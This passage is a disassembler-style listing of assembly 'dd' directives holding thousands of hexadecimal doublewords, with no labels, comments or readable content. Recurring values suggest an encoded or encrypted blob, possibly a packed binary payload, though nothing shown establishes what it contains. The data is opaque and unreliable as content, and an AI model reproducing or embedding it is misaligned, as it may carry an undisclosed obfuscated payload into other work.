		dd 1132156Ah, 88349269h, 0C13D1566h, 22321566h,	77F90A1h
		dd 88321344h, 0CE3D1566h, 22321573h, 0F8684606h, 8832156Ah
		dd 1F0238D1h, 316A708Fh, 86DD443h, 1C77507h, 662908D3h
		dd 2AB71A60h, 1E321566h, 883217E8h, 0C9537566h,	81AFDFBh
		dd 0D9B97560h, 745376D5h, 24CAC699h, 22321E8Fh,	97FCA066h
		dd 8712622Ah, 9C71CDAAh, 2DF21E07h, 113238E2h, 8826FC66h
		dd 0CDF81566h, 2E7873AFh, 0CE940A36h, 195BE404h, 0DEE8016Fh
		dd 85DB152Fh, 0F8321566h, 8832156Ch, 0D804E4BFh, 3CDF2C2h
		dd 8CBF3D55h, 8E15B0ADh, 44339369h, 0DDCB1566h,	91B11AB5h
		dd 74CDEA99h, 443FFC06h, 0CAA41566h, 7AEBCA45h,	0C49F47Ch
		dd 0C4483CE6h, 0A953F693h, 332908D3h, 8823FC60h, 0D8291566h
		dd 59F9B03Dh, 0FBF050D0h, 0D3EE17E4h, 0CDEB4683h, 2458D3h
		dd 923D7560h, 88321564h, 4BDB4B30h, 2D321566h, 87CB0120h
		dd 8B802349h, 5BA81DBBh, 0AF533E66h, 398A07FBh,	373D7560h
		dd 0E184ACA9h, 0CB530A14h, 11321575h, 2179473Eh, 0B73C6B3Ah
		dd 0E2428EDCh, 0FB547C2Ah, 77222B28h, 0C1B9EDB5h, 241012BBh
		dd 11249E69h, 70521566h, 4432188Eh, 0C83A5866h,	733AA0F6h
		dd 0EB9D4792h, 256D880Bh, 392F90EFh, 70521344h,	883BFC07h
		dd 98991566h, 0EC524A74h, 913B302Dh, 0D3DFD58h,	44321588h
		dd 2232128Fh, 0B05A8866h, 99DE77F6h, 62B3A8E5h,	2D321344h
		dd 1132C0E2h, 85B81A66h, 24321566h, 0FAD49400h,	11B11A0Eh
		dd 0E9321566h, 0F451A734h, 0A9E23D2Ah, 0D5B13172h, 6198E062h
		dd 44321572h, 0DC8F10ADh, 39FE6A55h, 5ADB339h, 1546DD8Bh
		dd 0A4D5C0A3h, 158D4230h, 0B96D7D3Eh, 1B36311Ah, 7A36203Eh
		dd 9B3D4A0Eh, 88321567h, 588F409Eh, 0B182905h, 0E91B488Eh
		dd 0B4510963h, 5AB91A4Ch, 2D321566h, 11320DEDh,	8821FC66h
		dd 0EDE11566h, 0DC6A2F72h, 153ECBC6h, 984F4BF7h, 72828599h
		dd 268847ABh, 38321566h, 0AC269EB6h, 4436D1E7h,	0A2521566h
		dd 1DDB4BBEh, 63321566h, 252BDBF8h, 0ACE19088h,	70C5387Ah
		dd 8822FCCDh, 0B1991566h, 0EE7B2B7Fh, 0A656F0B4h, 0D4AC5C76h
		dd 50DB1B83h, 42321564h, 41ABAB00h, 0C82823D9h,	0D9BF7472h
		dd 24181A76h, 113A9C69h, 87521566h, 443215E4h, 0F1CD7466h
		dd 9C53E906h, 0A2115AFBh, 5ABD1A60h, 42321566h,	8994AA00h
		dd 8832068Fh, 0BBF52D66h, 0DE3CE4A7h, 0E8E16BDDh, 0BD9C63EDh
		dd 78569912h, 0CBE1EA07h, 11321577h, 0CF566009h, 5D54735Bh
		dd 1571102Fh, 121803Eh,	87F21E53h, 443234E3h, 2238FC66h
		dd 586F1566h, 45E9C047h, 5213CDECh, 2232388Fh, 0AB547566h
		dd 3DA946h, 44321567h, 0A7B17493h, 17100E7Bh, 0F0DBEC63h
		dd 0ADCDEA98h, 22321568h, 0EC0971Ch, 4C51AD4Eh,	0BDC5F125h
		dd 0BFBF9801h, 17183006h, 4CE39406h, 4B4B3B8Eh,	223213E2h
		dd 11B51A66h, 0E9321566h, 4FCAC699h, 7B71AA6h, 0F8321566h
		dd 88321572h, 0E21DD38Dh, 0A3E19349h, 2743AEB3h, 7821607Ah
		dd 0C9EDE2FCh, 22323C8Fh, 0CDB27566h, 0E9CCA0FEh, 4436AA31h
		dd 0E0B31566h, 6F091D4Ch, 62B3EF67h, 3A091D4Ch,	22DBE039h
		dd 1E321567h, 883214EBh, 0D9BFE066h, 2415B0ADh,	11321E8Fh
		dd 5F845866h, 0CA4CC951h, 2ECF947h, 923DC699h, 88321548h
		dd 59879E9Ah, 0CB34377Dh, 1132156Eh, 43EA91F5h,	8DEBB8EAh
		dd 221F608Fh, 1122FC66h, 31511566h, 4D7D6E04h, 3522D02Ch
		dd 0BE63EB8Dh, 5B9EFCEh, 42100E7Bh, 22339D69h, 98CA1566h
		dd 0AA2908D3h, 0F33D7560h, 36EA94AFh, 7059B6B4h, 0FBC7FCE7h
		dd 0ADB35EC5h, 15BA02CDh, 0D0B3E44Fh, 0BFBA02CDh, 37C7D4E7h
		dd 0A5C75EC5h, 40E9E2BFh, 87694C35h, 44321DE2h,	20B91A66h
		dd 71321566h, 4EF49407h, 6D13A47Dh, 0FD8F40A8h,	0D0367C42h
		dd 6DB31083h, 8781E9Fh,	0D530F0A7h, 0A8C794B3h,	0A1DC5BADh
		dd 4CDB4888h, 0E1321566h, 0C19D1C7Ch, 0E87B760Dh, 0F46C4406h
		dd 0A35474F4h, 704E33B0h, 71CEB195h, 0BBCF038Fh, 23BD1A99h
		dd 0E4321566h, 8CB71A06h, 22321566h, 0A2DCB3DCh, 9C538E8Ah
		dd 0A08862FBh, 0FA547560h, 4253CFCDh, 1132068Fh, 48655266h
		dd 36AA088Bh, 90EC3BB8h, 0C95E389Dh, 0E8EB105h,	0DED9400h
		dd 0F1CD74ADh, 15B3429Fh, 0DC72EF42h, 0FA644D0Fh, 706F65BDh
		dd 141BDBE7h, 66F32236h, 8FC9462h, 0A359E26Fh, 0B2AC7088h
		dd 0D6C23C60h, 92B97306h, 22329569h, 3A531566h,	0AA291CE3h
		dd 0C1BBED60h, 24101B9Fh, 14B91A06h, 33321566h,	7C74B6A9h
		dd 2232018Eh, 7C1ECD66h, 6758A86h, 0F620144Eh, 4F70E901h
		dd 0D488E8C0h, 0D05375E6h, 4CBC1A07h, 2D321566h, 113217EBh
		dd 3537566h, 66291CE3h,	0E5AE960h, 98321530h, 93D315Ah
		dd 4432156Ah, 2232128Fh, 0D6F2A466h, 0D84988D1h, 0C5D09C34h
		dd 223211A4h, 15D89666h, 0D41601E1h, 241611EFh,	22321B8Fh
		dd 21780766h, 4F2E5D98h, 0B42D1F75h, 43DF1850h,	0AC3A98EBh
		dd 77CB134Eh, 0FD52EDB7h, 3AFDD406h, 11319869h,	4BB21566h
		dd 0C1B9741Fh, 2410242Fh, 113A9B69h, 87521566h,	443215E7h
		dd 0AB677466h, 15F79483h, 0B321566h, 68B5118Bh,	26BB4942h
		dd 5DB7542h, 6A321566h,	9BAC1F76h, 5042888Ch, 8501F800h
		dd 0C3702FE0h, 0FECBAFDFh, 7E0CD45Dh, 0F4BB4007h, 8836D0E7h
		dd 0A9B11566h, 61E9262h, 350E9C3Ah, 8832018Fh, 1FD17266h
		dd 39EA2174h, 7A196A0Eh, 1775739Ah, 31AFF402h, 2BB51A6Ch
		dd 71321566h, 65C59400h, 25CB9E05h, 393B90EDh, 1CDB1344h
		dd 3B321566h, 0D26CDD51h, 6CA6CE50h, 0A05186E6h, 8804F40Eh
		dd 60369C66h, 0CBF989Ah, 0E9343DD8h, 8FDBC499h,	5F321566h
		dd 0BFC4DFCCh, 9A620242h, 4CB33172h, 44321562h,	3FD49406h
		dd 9A091BB6h, 1657496h,	40B342A1h, 2E1B5842h, 0F8B34C08h
		dd 0E63E3C2Bh, 4AB61A39h, 42321566h, 11329169h,	83D1566h
		dd 44321566h, 6BBF3E07h, 0E9343757h, 8B27A8E5h,	4B321344h
		dd 22328AE2h, 0AE547566h, 353C2FBh, 662A9CE3h, 2238FC60h
		dd 0F311566h, 9F83D6E6h, 8496B2F4h, 2127904Dh, 1DDB1344h
		dd 5E321566h, 0F21C7393h, 95FE6914h, 2AF7816Eh,	0EDB41AA7h
		dd 0BC321566h, 342B90EDh, 1EDB1344h, 55321566h,	0AFDEE91Fh
		dd 342375Bh, 0F86345D8h, 0D31FDA5h, 42101673h, 223B9969h
		dd 90521566h, 7BE789A7h, 0CD53ED11h, 1BB0E3h, 953DE960h
		dd 88321570h, 4432048Fh, 9CA40366h, 584FB419h, 0BDAF3467h
		dd 54649C47h, 0F2DBA278h, 1E321567h, 883212EEh,	45B71A66h
		dd 0D7321566h, 90D19C35h, 883211A5h, 40D99666h,	7E1609E1h
		dd 711619EFh, 88209369h, 49DB1566h, 2D321566h, 46B11822h
		dd 0B0FCDA6Ah, 23D6A681h, 3C5A749Ah, 9832152Fh,	0E86A316Ah
		dd 25B6C4E6h, 2233A833h, 0F91B1566h, 8834FC3Bh,	0B2B61566h
		dd 781F0481h, 1ECDA833h, 603B1566h, 0C71639EDh,	2DDB11A2h
		dd 0E6321566h, 49A9A499h, 0CB12E293h, 4EF3C9Bh,	943DF559h
		dd 88321567h, 458C439Ah, 23321566h, 1DDB4B96h, 0A3321566h
		dd 7FC7E825h, 52B2E0C6h, 71968DD9h, 698A739Fh, 0C1BB7404h
		dd 24100DEFh, 11339269h, 89CB1566h, 662330E3h, 0E5CEE960h
		dd 333100E3h, 88321560h, 48B61A66h, 0CB321566h,	11321561h
		dd 0B1996A8Eh, 2E0317CFh, 2239FC26h, 99D11566h,	267D1F85h
		dd 0E69D7E4Ah, 32327DAFh
		dd 913D1566h, 88321567h, 44977D93h, 2EBB1566h, 113AFC42h
		dd 29231566h, 8F38E2B9h, 445294B0h, 7B53E2EDh, 93BB1A66h
		dd 24321566h, 10F0AE00h, 11321A8Eh, 4F2A566h, 1A9872F6h
		dd 23FB7FA6h, 8927AC7h,	1DCD7439h, 42100E3Fh, 22219F69h
		dd 1FDB1566h, 88321566h, 75E5F593h, 0E9C08354h,	4AE8A238h
		dd 0C9A7EA2Dh, 4B343768h, 223218E6h, 113AFC66h,	9CFC1566h
		dd 0CE23AF47h, 0ABCB1872h, 33240CE3h, 883DFC60h, 675D1566h
		dd 25C4F172h, 5B6E2060h, 9FBB65BCh, 0E1B79CBCh,	4234374Fh
		dd 75DC9400h, 9CDB758Fh, 0B0321566h, 0FA47AEAFh, 8909D894h
		dd 541D0956h, 76254450h, 44E24D6Ah, 70D1B8D9h, 0AC3E9E07h
		dd 0C5D09C34h, 223211A4h, 15F09666h, 0D41601E1h, 4432138Fh
		dd 366B3566h, 0EEAB18CCh, 0AA1BB0D3h, 4426FC60h, 0D7F91566h
		dd 27C0165Fh, 1CA51979h, 0CA99AB4Ch, 0C6D960E2h, 0A4CD5739h
		dd 8E10242Fh, 0BC851A06h, 0A4AEAE00h, 113FFC07h, 0B4371566h
		dd 903D2D40h, 658D5003h, 47838688h, 4EB3F3EFh, 44321562h
		dd 0A536FBE5h, 986E3152h, 0EE52315Ah, 4BEDD1D8h, 223213E3h
		dd 11B71A66h, 0E9321566h, 5F3BA099h, 0A23D1344h, 1132156Bh
		dd 88B11A06h, 0FB321566h, 3D4D63CAh, 10B81A07h,	74321566h
		dd 930D90EBh, 0CA52134Eh, 11321576h, 9C2DDB0Ah,	49610CE6h
		dd 98307DCEh, 6F76FF92h, 0D7D5AE00h, 978D1A3Ch,	2DE2EA07h
		dd 11321FE1h, 8837FC66h, 0CFD01566h, 0CBCF48E7h, 11321577h
		dd 2ED1D1E5h, 845B7B7Dh, 0E30A7A9h, 79C9DA19h, 9DBF1439h
		dd 0AD343765h, 2232156Ch, 2E8E9E69h, 0DDD11C40h, 0CFCA58A2h
		dd 1BB0DBh, 0A4B9ED60h,	8E10242Fh, 4432068Fh, 0B4038666h
		dd 8223C051h, 941CB984h, 0DE11A0ABh, 15936CFEh,	1E52B195h
		dd 0A3DCDD1h, 44321563h, 0E83441DCh, 0A4B97410h, 8E10207Fh
		dd 44321C8Fh, 79E40066h, 400B56E1h, 619FE7F6h, 44321561h
		dd 0C9221C13h, 40F7D317h, 77CDE9DFh, 17C31499h,	223215DDh
		dd 4A2B9C66h, 373D753Fh, 443BFC9Dh, 1BB21566h, 1CC5CD06h
		dd 0E999D242h, 41F2D49Ah, 2232068Fh, 0F4630166h, 0D54E8C47h
		dd 1312FAACh, 0E7227C5h, 20AD2F53h, 81FAA833h, 0C5777761h
		dd 0A917E6ABh, 16D7D40Eh, 3260C091h, 31B85C9Eh,	0DB84D7E7h
		dd 0C433A1FBh, 48C7943Ch, 45CE32D1h, 0A952488Eh, 1123FC9Fh
		dd 38021566h, 83AD75F0h, 218B379Ah, 0B5F01214h,	0E915B59Bh
		dd 55BF9065h, 0A9CB1344h, 331BB0EBh, 3260E060h,	44321566h
		dd 28BBD767h, 901601EDh, 883211A2h, 4B9FE066h, 223201E6h
		dd 16DB7566h, 0C8321566h, 0A795F23Ah, 0AF3DA07Dh, 11321566h
		dd 31634507h, 3CB8550Eh, 0E56BDDEFh, 515AE920h,	0CE1B6DECh
		dd 0C03D4D9Ah, 2232156Ah, 1132128Fh, 1EA3F966h,	7DA95C31h
		dd 172BA0EFh, 92CA1344h, 0D3DEA9Eh, 443215E1h, 2232108Fh
		dd 0A43A3B66h, 0B6B31996h, 99EFC8BBh, 22439069h, 2DB1566h
		dd 0F8321566h, 0C1BED64Bh, 5D7664BFh, 0AA1D84F1h, 0B41E0C05h
		dd 0FD63D6F9h, 3F7540EFh, 44BBAF34h, 9EBB0821h,	1D3C3C3Ch
		dd 23BF1A93h, 0E4321566h, 8C8C4331h, 0CD321566h, 0DC334B91h
		dd 19B91A39h, 87321566h, 443217EFh, 0AB537566h,	33070CD3h
		dd 4ADBE060h, 0ADCDEAB5h, 22321575h, 0C5B4B302h, 7B31DD04h
		dd 0B015BFFh, 6FA5DED7h, 0D0A7843Bh, 7DC716A6h,	55BF9065h
		dd 0AA3D1344h, 11321567h, 0FD8F969Eh, 45343763h, 26139169h
		dd 9E3D1566h, 88321561h, 44339669h, 0A3CB1566h,	0BB98BF58h
		dd 3FB71ACCh, 0AD321566h, 22321576h, 90378235h,	9A0B7771h
		dd 999F3DBCh, 0FE524864h, 11367D36h, 896A1566h,	14CE4DA0h
		dd 1B5E7D34h, 906844B2h, 8543F784h, 6CD8940Dh, 0ABF4104Eh
		dd 57F54FB6h, 88C4DD9Ah, 0B87414E3h, 2DB41A3Eh,	71321566h
		dd 88321D8Fh, 0E8AA2266h, 9E07F31Ah, 19DB74C7h,	22321566h
		dd 0D18DB6B4h, 134F9AC6h, 20F5249Eh, 8835FC9Eh,	2F631566h
		dd 0DD442FB4h, 41844780h, 0DB30F3A6h, 87B270D5h, 79EC3D94h
		dd 0E868E5EEh, 0C0887306h, 3DDB7476h, 2D321566h, 113214E4h
		dd 3DE966h, 44321570h, 2232048Fh, 0AA399E66h, 0DA555DF9h
		dd 207AC356h, 0D0BCA48Eh, 906258B5h, 8832118Ah,	600E9C66h
		dd 44524A3Eh, 0BDDCE6E7h, 88279E69h, 4BDA1566h,	33321566h
		dd 0B0E2D06Ch, 13AD918Eh, 507A7341h, 436CFDADh,	91C4A037h
		dd 60BAA6A3h, 48C2113Fh, 2696211Ch, 1120FCEFh, 0C5061566h
		dd 6728486Ah, 32B44F37h, 90C1388h, 0C8BE85CDh, 0C5D59C31h
		dd 223211A1h, 15DD9466h, 0F321566h, 0CD6E315Ah,	0A1CE3162h
		dd 331698DBh, 0C3D1460h, 443214D4h, 3688479Eh, 90558827h
		dd 20264E94h, 9EC55703h, 5EECDFE7h, 0E3B31651h,	77CDEA98h
		dd 50B9C5EFh, 26F69642h, 11321C8Fh, 0DB612266h,	0E18A6FC9h
		dd 2BDB35ECh, 15321566h, 1A1339Fh, 0A6BC3446h, 86DDA8E5h
		dd 1E32134Fh, 88324EE2h, 0C5547566h, 2DF80B8Ch,	113214E8h
		dd 553ED66h, 6CD9ABFBh,	2FB51A60h, 0F8321566h, 8832156Eh
		dd 46F82BCEh, 5EE4A932h, 11321A8Fh, 2BAD166h, 4D2BD53h
		dd 53603B6Ch, 1FD38269h, 8752C699h, 443207E9h, 223EFD66h
		dd 0C5EF1566h, 57740D95h, 8E7A19A4h, 4468AC8Ah,	706CBAD8h
		dd 87A22AE6h, 443274E2h, 28BA1A66h, 71321566h, 5FB37406h
		dd 7EB79A34h, 96527507h, 1137FCFFh, 70D81566h, 2563BDEAh
		dd 278A4507h, 10321566h, 0AC369EA1h, 4436D1E7h,	0A33D1566h
		dd 11321569h, 88321F8Fh, 0A673A466h, 0B1247624h, 0F81C27DFh
		dd 883214BDh, 44229A69h, 29DB1566h, 0C5321566h,	0BE86DA34h
		dd 0A60F3EFFh, 0DAB1A340h, 86B01A36h, 61321566h, 4432156Ah
		dd 1919FAFDh, 0AFD52828h, 0CBB61938h, 0C461A235h, 0DABAD689h
		dd 921609EDh, 43D11A2h,	44321567h, 0AF3DBF9Eh, 1132157Eh
		dd 8832068Fh, 730A6B66h, 7D5618D1h, 0CD2899A4h,	1726055h
		dd 687CDD21h, 7A162199h, 1136D1E7h, 87521566h, 443216EEh
		dd 8CD19566h, 11309469h, 0D3651566h, 2498E907h,	2232068Fh
		dd 0E8418C66h, 81FA1D8Dh, 1B8CE36Bh, 2436BE1Ah,	28989D82h
		dd 61534B36h, 443215A2h, 223E9169h, 983D1566h, 88321560h
		dd 44329A69h, 16CD1566h, 0D5B14D42h, 883CFC62h,	0D3511566h
		dd 23CD1273h, 42D0059h,	8FD6B19h, 443EFCCCh, 39E81566h
		dd 72C78004h, 0C3086C95h, 4DDBC737h, 12321566h,	83E71B2Eh
		dd 2ECE30Bh, 0ADCD6AE6h, 225C9069h, 16DB1566h, 46321566h
		dd 67EE7F23h, 9FB1D5D5h, 171BB189h, 0CBB61A66h,	4B321566h
		dd 22321DE4h, 13BF1A66h, 0E8321566h, 0F6AF9807h, 0D7343D8Ch
		dd 1E52C699h, 883216E8h, 0BA851A66h, 0BDDE9534h, 0F8527439h
		dd 88321575h, 3E9C206Eh, 4A239DD7h, 523A963h, 0B681F444h
		dd 0CFB29EC5h, 0B05A74A5h, 9832154Eh, 4FBA317Ah, 1F366AEEh
		dd 43DFA206h, 389790EDh, 8DDB1344h, 0D8321566h,	31AD5948h
		dd 7A1AAA31h, 70335868h, 69CA3C39h, 6F3C7E4Eh, 11339A69h
		dd 0E0CE1566h, 4432343Fh, 9D1629EFh, 11321562h,	0E86DED4Fh
		dd 4432078Fh, 1D1DC066h, 0BE305215h, 810BDE35h,	5938CC6Ah
		dd 44F5EFF9h, 7E34D4E7h, 53DBE07h, 44321571h, 22239369h
		dd 1DDB1566h, 91321566h, 452F398Eh, 433C29CBh, 0BC6B5F33h
		dd 7474D29Ah, 4804652Eh, 0E3CE4B91h, 963AE900h,	0F7FE908h
		dd 2CDE908h, 0DE74949Ah
		dd 27425D66h, 8832188Fh, 0C812EB66h, 0D0F17E16h, 86F8C090h
		dd 79DB9954h, 4BCDEA9Ch, 223200E1h, 1EB51A66h, 61321566h
		dd 4432156Ch, 84B95C01h, 0A8B64795h, 3DBB42EBh,	4210207Fh
		dd 2232108Fh, 5666DE66h, 165154Bh, 40F59481h, 0A1321566h
		dd 2DB51189h, 9CBB4942h, 1C607542h, 2D537506h, 7053C4D1h
		dd 88B2150Eh, 4421FC66h, 48ED1566h, 0A955AB28h,	17982BEEh
		dd 1DD608C7h, 7730B066h, 0ED327F8Bh, 8AC3A099h,	0BBCA1344h
		dd 2C74F3h, 10B21A60h, 70321566h, 1E162199h, 0CB36D1E5h
		dd 11321577h, 0B2C61FA0h, 0CC3265Eh, 86854D5Fh,	92723AF6h
		dd 85B01AFEh, 0AD321566h, 2232156Eh, 9C73D7B4h,	0B82A3889h
		dd 65C398EDh, 44521344h, 1E33B7DEh, 883217EDh, 25537566h
		dd 2232AE35h, 0DA331566h, 883216A1h, 58B91566h,	26F69442h
		dd 0F8321566h, 8832156Fh, 0D21104E3h, 0A4C663C7h, 0AE6543FCh
		dd 0B78A0F3Bh, 0FC2874D8h, 7DCC3C59h, 716CE467h, 88379669h
		dd 0C5541566h, 2D918C96h, 113216E0h, 0B0E69566h, 0B5BF9C07h
		dd 0CB343747h, 1132156Dh, 0F2267C1Ch, 26D837D9h, 0CB7E88E8h
		dd 0EECDD38Dh, 88339269h, 0ADCA1566h, 22323F90h, 9ACE7593h
		dd 0AA13E4EBh, 0FC62E060h, 22321566h, 21CDDD67h, 1CE4D3Fh
		dd 6D96FEEBh, 2235FC60h, 40AA1566h, 943E2307h, 0A0A940Dh
		dd 2D7E5132h, 113268E3h, 954E066h, 6A7E111Eh, 22429069h
		dd 0EDCA1566h, 0AC369436h, 145D616Ah, 2E8B4438h, 38627A12h
		dd 0E3D4CA8h, 44321571h, 2DDBED06h, 20321566h, 0FFDA6F19h
		dd 2C24032Ah, 7C5F9FB6h, 4153D007h, 883213DEh, 9BDC9466h
		dd 230A7049h, 0CEF494A0h, 0D00A7049h, 0C5547506h, 430F80BDh
		dd 4B79E07h, 74343766h,	4437788Fh, 223DFC66h, 48EF1566h
		dd 676C2649h, 82C31C92h, 1BB6C723h, 895AECBAh, 132157Eh
		dd 40B33162h, 4206FD42h, 0FFB34B42h, 0AC52218Eh, 51B01A06h
		dd 0CA321566h, 11321569h, 0AF53027h, 9041EB9Bh,	9BCA28DFh
		dd 4AB1963Fh, 88321C8Eh, 0EDF5266h, 0A2215027h,	0AE3DE388h
		dd 9534C9Fh, 4432118Ah,	6369C66h, 18DB753Ch, 94321566h
		dd 2FD98715h, 0AF2B95Ah, 0EDC29E06h, 41037407h,	44249469h
		dd 33DB1566h, 13321566h, 90F6CF60h, 737B1E27h, 6FC04DE8h
		dd 0BC0D1C6Ch, 880EEDCAh, 45A19169h, 0A03D1566h, 11321560h
		dd 0DB537506h, 690E743Eh, 0DDD09169h, 7752EA99h, 60BB42DCh
		dd 4432156Bh, 0B4EB0D4h, 6CA01038h, 8CDC6B5Ah, 8FB9737Dh
		dd 0C0E743Ch, 11DB9169h, 9ADB1566h, 8F321566h, 0D81209F5h
		dd 0B019D884h, 0A6A02917h, 6B47854Ch, 2D022939h, 113752E4h
		dd 9CB31A66h, 0AD321566h, 22321569h, 4C551CA4h,	90F02695h
		dd 930FEB79h, 1E019E82h, 6CB41A5Fh, 0E8CDEA99h,	24C6DDE6h
		dd 0A392C6E6h, 63F75D89h, 0B453740Fh, 49B01A27h, 42321563h
		dd 4368E6E7h, 918647CBh, 4B682907h, 0DDCD46E0h,	0CCB87599h
		dd 0E9C0AA69h, 0C5547506h, 73943AA7h, 2D53743Fh, 0B1B61A39h
		dd 4BCDEA99h, 223213ECh, 4E617566h, 0B4537406h,	89B01A07h
		dd 0D7321562h, 973D6F5Ah, 77CDEA7Ah, 4423FC06h,	0D39A1566h
		dd 34A26F31h, 1F273286h, 75642D81h, 438EA885h, 113C9A69h
		dd 81DB1566h, 0C5321566h, 6DEEA316h, 0F7AAB486h, 8836868Fh
		dd 4423FC66h, 0D9BB1566h, 201E6934h, 9975C9Fh, 8B41B2D1h
		dd 741F13C9h, 113214D8h, 0D6C01466h, 4432108Fh,	5716DE66h
		dd 0E30B57EDh, 8C509169h, 14CA1566h, 223214DEh,	49F03C66h
		dd 88249669h, 0C83D1566h, 22321576h, 11321E8Fh,	9B83F266h
		dd 0F757C72Ah, 4FE6804h, 11339F69h, 0DDCE1566h,	443214DBh
		dd 7FDB1466h, 11321D8Fh, 0D49DD066h, 60D586E2h,	0DC40FCB7h
		dd 1BDBEA99h, 43321566h, 9BB7778Dh, 3EEA8A6Dh, 1EFB9051h
		dd 883616E2h, 0F1BFEC66h, 2410125Fh, 90544406h,	0D668C2ACh
		dd 4432048Eh, 37A12766h, 22F2C86Dh, 0A2E61BFFh,	0C32BD918h
		dd 0CDB3E0C7h, 368EC6DFh, 64B1743Fh, 60269C62h,	0FE1621E7h
		dd 483D512Ah, 0C4EEE4E7h, 0C13D1A22h, 22321567h, 17537D9Ah
		dd 9CBB1566h, 60069442h, 3B3A400Ch, 7BC59439h, 702B1D33h
		dd 4432108Fh, 0FC4A3B66h, 0A261FD32h, 55BA4448h, 1F6BFDEEh
		dd 0DF47BB9Eh, 11339069h, 87C71566h, 443210EFh,	0A9547566h
		dd 0AA6174A8h, 8B275515h, 6D69CC4Fh, 51F3949Fh,	1E310026h
		dd 88321DEEh, 0FA547566h, 0EDB80E96h, 11327D07h, 841B1566h
		dd 603E9E42h, 0DA36D1E5h, 686CD2E7h, 471B108Eh,	3D6CAB30h
		dd 0D51B108Eh, 0B45AED38h, 132150Fh, 1B64315Ah,	24B71A38h
		dd 71321566h, 0D362FDD7h, 49DB7507h, 44321566h,	509A09FDh
		dd 727A095Dh, 0E7B0301Ch, 43E4A269h, 1E52B195h,	883216E0h
		dd 8BB97366h, 2DD99406h, 0F973556Fh, 88321577h,	0DD763EFCh
		dd 46DB9DDFh, 96FA53DDh, 2B9B3D00h, 25534D7Ah, 0DACD52A0h
		dd 0EECDAE35h, 7333EA99h, 1FBF26E6h, 0A2CD4290h, 0D1CFEA29h
		dd 834EA09h, 0B831EA09h, 250B80EBh, 9A521344h, 87DB44BEh
		dd 6C321566h, 76ACC45Bh, 53B2824Eh, 0CD40BCAFh,	256844A0h
		dd 3D7790EDh, 71521344h, 0E952FBECh, 29897307h,	0E2B7745Dh
		dd 116D9069h, 9ADB1566h, 0F1321566h, 0BDAE6AE5h, 15E54805h
		dd 0B56F5494h, 4AB0852h, 2BB7D32Bh, 56343755h, 2FE07D9Ah
		dd 0BBCAC1FCh, 145CD3h,	19B31A60h, 87321566h, 443217E3h
		dd 0AF537566h, 344FABE3h, 8820FC60h, 1BB31566h,	561AFEBFh
		dd 0A0345E97h, 426EA01Ah, 9FD1F28Eh, 2D52C599h,	4861EFD9h
		dd 0E8CC7D07h, 50BB1566h, 953D7542h, 0F6B246BEh, 77534EC5h
		dd 48BA1AB6h, 0CB321566h, 11321561h, 0A357EF93h, 24FA571Fh
		dd 9954CFECh, 9453A8EFh, 97B71AA6h, 24321567h, 2B26B2D8h
		dd 0C6EF9572h, 0E9B79E07h, 4B34377Eh, 223210E2h, 9A547566h
		dd 48B77494h, 44889069h, 0CB521566h, 1132156Ch,	0E4955F45h
		dd 607F297Ch, 36DA8161h, 0BD321566h, 72AFD143h,	104A811Bh
		dd 0C5AE7274h, 7845CE01h, 6124D649h, 44321560h,	3FBB533Ch
		dd 706CA0FAh, 0BB3B90A0h, 4B7E1344h, 223219E6h,	17B91A66h
		dd 87321566h, 443215E3h, 3EDB7D66h, 9152CCBCh, 0E9CE6F8Fh
		dd 627BA099h, 0A3521344h, 0AB5A0BCh, 883DFD2Fh,	0F8CB1566h
		dd 22E09CE3h, 3F405D42h, 7C8E87ACh, 44B21A62h, 7B321566h
		dd 0AFB79807h, 7034301Bh, 4B52C599h, 2ADBDCD9h,	0B0321566h
		dd 345C916Fh, 25698556h, 22249E69h, 963D1566h, 88321576h
		dd 44321E8Fh, 1C7CFF66h, 7669E376h, 346566A9h, 0C5D59C31h
		dd 223211A1h, 15DD9666h, 0D41629E1h, 0BD1601EFh, 4252C599h
		dd 0AFBC2E7h, 3F535B96h, 84B774F5h, 222A9069h, 0F8C71566h
		dd 88321582h, 4432188Fh, 665FBD66h, 55AD720Dh, 8B7CBC7Bh
		dd 0C1BBF03Fh, 241BB18Dh, 19B91A93h, 87321566h,	443217EAh
		dd 70537566h, 0D3B3F7EFh, 88321562h, 0C336FFE5h, 0AB6E3172h
		dd 943D3162h, 88321575h, 44321B8Fh, 47675F66h, 24DE135Ah
		dd 8D06B09Ch, 2CDAF5E6h, 22324200h, 711621EFh, 553D0ECh
		dd 61A489E3h, 76857560h, 0D7B0AE00h, 0E8E2EA07h, 8E19406h
		dd 2D470FC6h, 113215EAh, 3547466h, 8439749Fh, 22729069h
		dd 973D1566h, 88321578h, 442A9969h, 31DB1566h, 0A3321566h
		dd 7F455C2Dh, 0DBD3954h, 2FE90085h, 5E1916A6h, 0B9DB105Fh
		dd 24321566h, 22389F69h
		dd 14DB1566h, 0E1321566h, 5C3D39D4h, 11F29400h,	55BB749Bh
		dd 33D0942h, 44321576h,	22389269h, 14DB1566h, 0BD321566h
		dd 0B9A63510h, 35BD1A07h, 1E321566h, 883204E2h,	443EFC66h
		dd 41F41566h, 9A41D69Ch, 0FF7DDC56h, 24F1E54Bh,	2232048Fh
		dd 7B324D66h, 0B600BCEFh, 61FEFFCAh, 0D575DBC2h, 715358E4h
		dd 873BF4E6h, 443216E6h, 0D9B97366h, 5DB7507h, 0A7321566h
		dd 0EFD6E20Fh, 5C92CB0Ah, 10E7F20Ch, 9076853h, 0CFCB78C1h
		dd 0B96FEEBh, 1126FC60h, 53CA1566h, 708D460h, 6B8B1DA4h
		dd 2923ED03h, 0B4FC1E36h, 0DE5A09C7h, 0AB321544h, 1CDB3162h
		dd 0D1321566h, 8354694Ah, 0FBA72BABh, 0CD7D047h, 45BB4030h
		dd 0CD6FFBEFh, 70C74B96h, 113229DCh, 8BF01466h,	60269E64h
		dd 2236D1E7h, 71521566h, 60534B34h, 4432156Dh, 3957FF11h
		dd 5E8CF341h, 8859574h,	256A67ABh, 22BAA599h, 15B31566h
		dd 0FF27C642h, 0FD634F6Ah, 2E4500B5h, 0F86BDF4Fh, 8832156Fh
		dd 87935855h, 0C85D706h, 0D8A79CD3h, 87343768h,	443214EFh
		dd 0CEB3E966h, 11321562h, 361621EFh, 4432159Eh,	0CB6CE567h
		dd 1132156Eh, 98B44F37h, 5C0C1388h, 22249969h, 0DB1566h
		dd 0E7321566h, 0A47ECB3h, 329443F1h, 13F12EA8h,	96A05935h
		dd 133E6599h, 3234F7D9h, 354E1442h, 9684A62h, 5434F78Ch
		dd 0AD3D7542h, 11321565h, 70FAAA69h, 0E5A79C07h, 0CB343747h
		dd 11321577h, 0AFFBCDC4h, 3B7D5492h, 0FFA803AEh, 4F013A3Fh
